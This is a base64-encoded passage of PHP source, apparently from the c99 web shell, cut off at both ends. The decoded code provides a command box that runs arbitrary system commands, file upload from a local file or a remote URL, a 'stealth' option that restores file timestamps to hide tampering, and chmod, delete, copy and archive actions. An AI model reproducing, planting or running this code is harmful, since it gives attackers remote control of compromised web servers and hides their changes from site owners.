WU9XCJzZWFyY2hfaW5cIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9pbikrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX2luKS4iXCI+Cjxicj48YnI+PGI+VGV4dDo8L2I+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+Cjxicj48YnI+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSByZWdleHAKJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF93d29cIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfd3dvID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSA8dT53PC91PmhvbGUgd29yZHMgb25seQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X2NzID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBjYXM8dT5lPC91PiBzZW5zaXRpdmUKJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9ub3RcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfbm90ID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBmaW5kIGZpbGVzIDx1Pk5PVDwvdT4gY29udGFpbmluZyB0aGUgdGV4dAo8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNlYXJjaFwiPjwvZm9ybT4iOwppZiAoJGFjdCA9PSAibHMiKSB7JGRzcGFjdCA9ICRhY3Q7IGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+U2VhcmNoIHRvb2sgIi4kc2VhcmNodGltZS4iIHNlY3MgKCIuJHNlYXJjaF9pX2YuIiBmaWxlcyBhbmQgIi4kc2VhcmNoX2lfZC4iIGZvbGRlcnMsICIucm91bmQoKCRzZWFyY2hfaV9mKyRzZWFyY2hfaV9kKS8kc2VhcmNodGltZSw0KS4iIG9iamVjdHMgcGVyIHNlY29uZCkuPC9iPjxicj48YnI+Ijt9Cn0KaWYgKCRhY3QgPT0gImNobW9kIikKewokbW9kZSA9IGZpbGVwZXJtcygkZC4kZik7CmlmICghJG1vZGUpIHtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4ndCBnZXQgY3VycmVudCB2YWx1ZS4iO30KZWxzZQp7CiAgJGZvcm0gPSBUUlVFOwogIGlmICgkY2htb2Rfc3VibWl0KQogIHsKICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNobW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4oJGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTowKSwyLDgpOwogICBpZiAoY2htb2QoJGQuJGYsJG9jdGV0KSkgeyRhY3QgPSAibHMiOyAkZm9ybSA9IEZBTFNFOyAkZXJyID0gIiI7fQogICBlbHNlIHskZXJyID0gIkNhbid0IGNobW9kIHRvICIuJG9jdGV0LiIuIjt9CiAgfQogIGlmICgkZm9ybSkKICB7CiAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRtb2RlKTsKICAgZWNobyAiPGI+Q2hhbmdpbmcgZmlsZS1tb2RlICgiLiRkLiRmLiIpLCAiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiIgKCIuc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJGQuJGYpKSwtNCw0KS4iKTwvYj48YnI+Ii4oJGVycj8iPGI+RXJyb3I6PC9iPiAiLiRlcnI6IiIpLiI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jaG1vZD48dGFibGUgYWxpZ249bGVmdCB3aWR0aD0zMDAgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz01Pjx0cj48dGQ+PGI+T3duZXI8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29bcl0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9Y2htb2Rfb1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L3RkPjx0ZD48Yj5Hcm91cDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3ddIHZhbHVlPTEiLigkcGVybXNbImciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3hdIHZhbHVlPTEiLigkcGVybXNbImciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjx0ZD48Yj5Xb3JsZDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3ddIHZhbHVlPTEiLigkcGVybXNbInciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3hdIHZhbHVlPTEiLigkcGVybXNbInciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1jaG1vZF9zdWJtaXQgdmFsdWU9XCJTYXZlXCI+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiI7CiAgfQp9Cn0KaWYgKCRhY3QgPT0gInVwbG9hZCIpCnsKJHVwbG9hZG1lc3MgPSAiIjsKJHVwbG9hZHBhdGggPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHVwbG9hZHBhdGgpOwppZiAoZW1wdHkoJHVwbG9hZHBhdGgpKSB7JHVwbG9hZHBhdGggPSAkZDt9CmVsc2VpZiAoc3Vic3RyKCR1cGxvYWRwYXRoLC0xKSAhPSAiLyIpIHskdXBsb2FkcGF0aCAuPSAiLyI7fQppZiAoIWVtcHR5KCRzdWJtaXQpKQp7CiAgZ2xvYmFsICRIVFRQX1BPU1RfRklMRVM7CiAgJHVwbG9hZGZpbGUgPSAkSFRUUF9QT1NUX0ZJTEVTWyJ1cGxvYWRmaWxlIl07CiAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSkpCiAgewogICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30KICAgZWxzZSB7JGRlc3RpbiA9ICR1c2VyZmlsZW5hbWU7fQogICBpZiAoIW1vdmVfdXBsb2FkZWRfZmlsZSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSwkdXBsb2FkcGF0aC4kZGVzdGluKSkgeyR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1lIl0uIiAoY2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4kdXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8YnI+Ijt9CiAgfQogIGVsc2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKQogIHsKICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9CiAgIGVsc2UKICAgewogICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOwogICAgJGRlc3RpbiA9ICRkZXN0aW5bY291bnQoJGRlc3RpbiktMV07CiAgICBpZiAoZW1wdHkoJGRlc3RpbikpCiAgICB7CiAgICAgJGkgPSAwOwogICAgICRiID0gIiI7CiAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHtpZiAoJGkgPiAwKSB7JGIgPSAiXyIuJGk7fSAkZGVzdGluID0gImluZGV4Ii4kYi4iLmh0bWwiOyAkaSsrO319CiAgIH0KICAgaWYgKCghZXJlZ2koImh0dHA6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiaHR0cHM6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiZnRwOi8vIiwkdXBsb2FkdXJsKSkpIHtlY2hvICI8Yj5JbmNvcmVjdCB1cmwhPC9iPjxicj4iO30KICAgZWxzZQogICB7CiAgICAkc3QgPSBnZXRtaWNyb3RpbWUoKTsKICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOwogICAgJGR0ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJHN0LDQpOwogICAgaWYgKCEkY29udGVudCkgeyR1cGxvYWRtZXNzIC49ICAiQ2FuJ3QgZG93bmxvYWQgZmlsZSE8YnI+Ijt9CiAgICBlbHNlCiAgICB7CiAgICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkdXBsb2FkcGF0aC4kZGVzdGluKTt9CiAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOwogICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHdyaXRpbmcgdG8gZmlsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9CiAgICAgZWxzZQogICAgIHsKICAgICAgZndyaXRlKCRmcCwkY29udGVudCxzdHJsZW4oJGNvbnRlbnQpKTsKICAgICAgZmNsb3NlKCRmcCk7CiAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9CiAgICAgfQogICAgfQogICB9CiAgfQp9CmlmICgkbWluaWZvcm0pCnsKICBlY2hvICI8Yj4iLiR1cGxvYWRtZXNzLiI8L2I+IjsKICAkYWN0ID0gImxzIjsKfQplbHNlCnsKICBlY2hvICI8Yj5GaWxlIHVwbG9hZDo8L2I+PGJyPjxiPiIuJHVwbG9hZG1lc3MuIjwvYj48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuImFjdD11cGxvYWQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPgpTZWxlY3QgZmlsZSBvbiB5b3VyIGxvY2FsIGNvbXB1dGVyOiA8aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjxicj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtvcjxicj4KSW5wdXQgVVJMOiA8aW5wdXQgbmFtZT1cInVwbG9hZHVybFwiIHR5cGU9XCJ0ZXh0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHVwbG9hZHVybCkuIlwiIHNpemU9XCI3MFwiPjxicj48YnI+ClNhdmUgdGhpcyBmaWxlIGRpcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj4KRmlsZS1uYW1lIChhdXRvLWZpbGwpOiA8aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1Pjxicj48YnI+CjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9dXBsb2FkYXV0b25hbWUgdmFsdWU9MSBpZD1kZjQ+Jm5ic3A7Y29udmVydCBmaWxlIG5hbWUgdG8gbG92ZXJjYXNlPGJyPjxicj4KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVXBsb2FkXCI+CjwvZm9ybT4iOwp9Cn0KaWYgKCRhY3QgPT0gImRlbGV0ZSIpCnsKJGRlbGVyciA9ICIiOwpmb3JlYWNoICgkYWN0Ym94IGFzICR2KQp7CiAgJHJlc3VsdCA9IEZBTFNFOwogICRyZXN1bHQgPSBmc19ybW9iaigkdik7CiAgaWYgKCEkcmVzdWx0KSB7JGRlbGVyciAuPSAiQ2FuJ3QgZGVsZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30KfQppZiAoIWVtcHR5KCRkZWxlcnIpKSB7ZWNobyAiPGI+RGVsZXRpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRkZWxlcnI7fQokYWN0ID0gImxzIjsKfQppZiAoISR1c2Vmc2J1ZmYpCnsKaWYgKCgkYWN0ID09ICJwYXN0ZSIpIG9yICgkYWN0ID09ICJjb3B5Iikgb3IgKCRhY3QgPT0gImN1dCIpIG9yICgkYWN0ID09ICJ1bnNlbGVjdCIpKSB7ZWNobyAiPGNlbnRlcj48Yj5Tb3JyeSwgYnVmZmVyIGlzIGRpc2FibGVkLiBGb3IgZW5hYmxlLCBzZXQgZGlyZWN0aXZlIFwiXCR1c2VGU2J1ZmZcIiBhcyBUUlVFLjwvY2VudGVyPiI7fQp9CmVsc2UKewppZiAoJGFjdCA9PSAiY29weSIpIHskZXJyID0gIiI7ICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkYWN0Ym94KTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjsgfQplbHNlaWYgKCRhY3QgPT0gImN1dCIpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImN1dCJdLCRhY3Rib3gpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiO30KZWxzZWlmICgkYWN0ID09ICJ1bnNlbGVjdCIpIHtmb3JlYWNoICgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0gZm9yZWFjaCAoJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCR2LCRhY3Rib3gpKSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fSBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiO30KaWYgKCRhY3RlbXB0eWJ1ZmYpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTt9CmVsc2VpZiAoJGFjdHBhc3RlYnVmZikKewogICRwc3RlcnIgPSAiIjsKICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpCiAgewogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgIGlmICghZnNfY29weV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9CiAgfQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQogIHsKICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICBpZiAoIWZzX21vdmVfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsKICB9CiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOwogIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30KICAkYWN0ID0gImxzIjsKfQplbHNlaWYgKCRhY3RhcmNidWZmKQp7CiAgJGFyY2VyciA9ICIiOwogIGlmIChzdWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwtNyw3KSA9PSAiLnRhci5neiIpIHskZXh0ID0gIi50YXIuZ3oiO30KICBlbHNlIHskZXh0ID0gIi50YXIuZ3oiO30KICBpZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQogICRjbWRsaW5lIC49ICIgIi4kYWN0YXJjYnVmZl9wYXRoOwogICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTsKICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KQogIHsKICAgJHYgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHYpOwogICBpZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9CiAgIGlmIChpc19kaXIoJHYpKQogICB7CiAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgICAkdiAuPSAiKiI7CiAgIH0KICAgJGNtZGxpbmUgLj0gIiAiLiR2OwogIH0KICAkdG1wID0gcmVhbHBhdGgoIi4iKTsKICBjaGRpcigkZCk7CiAgJHJldCA9IG15c2hlbGxleGVjKCRjbWRsaW5lKTsKICBjaGRpcigkdG1wKTsKICBpZiAoZW1wdHkoJHJldCkpIHskYXJjZXJyIC49ICJDYW4ndCBjYWxsIGFyY2hpdmF0b3IgKCIuaHRtbHNwZWNpYWxjaGFycyhzdHIybWluaSgkY21kbGluZSw2MCkpLiIpITxicj4iO30KICAkcmV0ID0gc3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJHJldCk7CiAgJHJldCA9IGV4cGxvZGUoIlxuIiwkcmV0KTsKICBpZiAoJGNvcHlfdW5zZXQpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQogIHsKICAgaWYgKGluX2FycmF5KCR2LCRyZXQpKSB7ZnNfcm1vYmooJHYpO30KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsKICB9CiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOwogIGlmICghZW1wdHkoJGFyY2VycikpIHtlY2hvICI8Yj5BcmNoaXZhdGlvbiBlcnJvcnM6PC9iPjxicj4iLiRhcmNlcnI7fQogICRhY3QgPSAibHMiOwp9CmVsc2VpZiAoJGFjdHBhc3RlYnVmZikKewogICRwc3RlcnIgPSAiIjsKICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpCiAgewogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgIGlmICghZnNfY29weV9vYmooJHYsJGQpKSB7JHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9CiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30KICB9CiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpCiAgewogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgIGlmICghZnNfbW92ZV9vYmooJHYsJGQpKSB7JHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9CiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7CiAgfQogIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsKICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9CiAgJGFjdCA9ICJscyI7Cn0KfQppZiAoJGFjdCA9PSAiY21kIikKewppZiAodHJpbSgkY21kKSA9PSAicHMgLWF1eCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQplbHNlaWYgKHRyaW0oJGNtZCkgPT0gInRhc2tsaXN0IikgeyRhY3QgPSAicHJvY2Vzc2VzIjt9CmVsc2UKewpAY2hkaXIoJGNoZGlyKTsKaWYgKCFlbXB0eSgkc3VibWl0KSkKewogIGVjaG8gIjxiPlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBjb21tYW5kPC9iPjo8YnI+IjsKICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsKICBAY2hkaXIoJGQpOwogICRyZXQgPSBteXNoZWxsZXhlYygkY21kKTsKICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7CiAgaWYgKCRjbWRfdHh0KQogIHsKICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsKICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30KICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOwogIH0KICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30KICBAY2hkaXIoJG9sZGRpcik7Cn0KZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIGNvbW1hbmQ8L2I+IjsgaWYgKGVtcHR5KCRjbWRfdHh0KSkgeyRjbWRfdHh0ID0gVFJVRTt9fQplY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y21kPjx0ZXh0YXJlYSBuYW1lPWNtZCBjb2xzPTEyMiByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRjbWRfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOwp9Cn0KaWYgKCRhY3QgPT0gImxzIikKewppZiAoY291bnQoJGxzX2FycikgPiAwKSB7JGxpc3QgPSAkbHNfYXJyO30KZWxzZQp7CiAgJGxpc3QgPSBhcnJheSgpOwogIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkKICB7CiAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7JGxpc3RbXSA9ICRkLiRvO30KICAgY2xvc2VkaXIoJGgpOwogIH0KICBlbHNlIHt9Cn0KaWYgKGNvdW50KCRsaXN0KSA9PSAwKSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBvcGVuIGZvbGRlciAoIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iKSE8L2I+PC9jZW50ZXI+Ijt9CmVsc2UKewogIC8vQnVpbGRpbmcgYXJyYXkKICAkb2JqZWN0cyA9IGFycmF5KCk7CiAgJHZkID0gImYiOyAvL1ZpZXdpbmcgbW9kZQogIGlmICgkdmQgPT0gImYiKQogIHsKICAgJG9iamVjdHNbImhlYWQiXSA9IGFycmF5KCk7CiAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheSgpOwogICAkb2JqZWN0c1sibGlua3MiXSA9IGFycmF5KCk7CiAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXkoKTsKICAgZm9yZWFjaCAoJGxpc3QgYXMgJHYpCiAgIHsKICAgICRvID0gYmFzZW5hbWUoJHYpOwogICAgJHJvdyA9IGFycmF5KCk7CiAgICBpZiAoJG8gPT0gIi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJMSU5LIjt9CiAgICBlbHNlaWYgKCRvID09ICIuLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkxJTksiO30KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkKICAgIHsKICAgICBpZiAoaXNfbGluaygkdikpIHskdHlwZSA9ICJMSU5LIjt9CiAgICAgZWxzZSB7JHR5cGUgPSAiRElSIjt9CiAgICAgJHJvd1tdID0gJHY7CiAgICAgJHJvd1tdID0gJHR5cGU7CiAgICB9CiAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHskcm93W10gPSAkdjsgJHJvd1tdID0gZmlsZXNpemUoJHYpO30KICAgICRyb3dbXSA9IGZpbGVtdGltZSgkdik7CiAgICBpZiAoISR3aW4pCiAgICB7CiAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7CiAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR2KSk7CiAgICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkdikpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCR2KSk7CiAgICB9CiAgICAkcm93W10gPSBmaWxlcGVybXMoJHYpOwogICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyRvYmplY3RzWyJoZWFkIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyRvYmplY3RzWyJsaW5rcyJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgeyRvYmplY3RzWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyRvYmplY3RzWyJmaWxlcyJdW10gPSAkcm93O30KICAgICRpKys7CiAgIH0KICAgJHJvdyA9IGFycmF5KCk7CiAgICRyb3dbXSA9ICI8Yj5OYW1lPC9iPiI7CiAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7CiAgICRyb3dbXSA9ICI8Yj5Nb2RpZnk8L2I+IjsKICAgaWYgKCEkd2luKQogIHskcm93W10gPSAiPGI+T3duZXIvR3JvdXA8L2I+Ijt9CiAgICRyb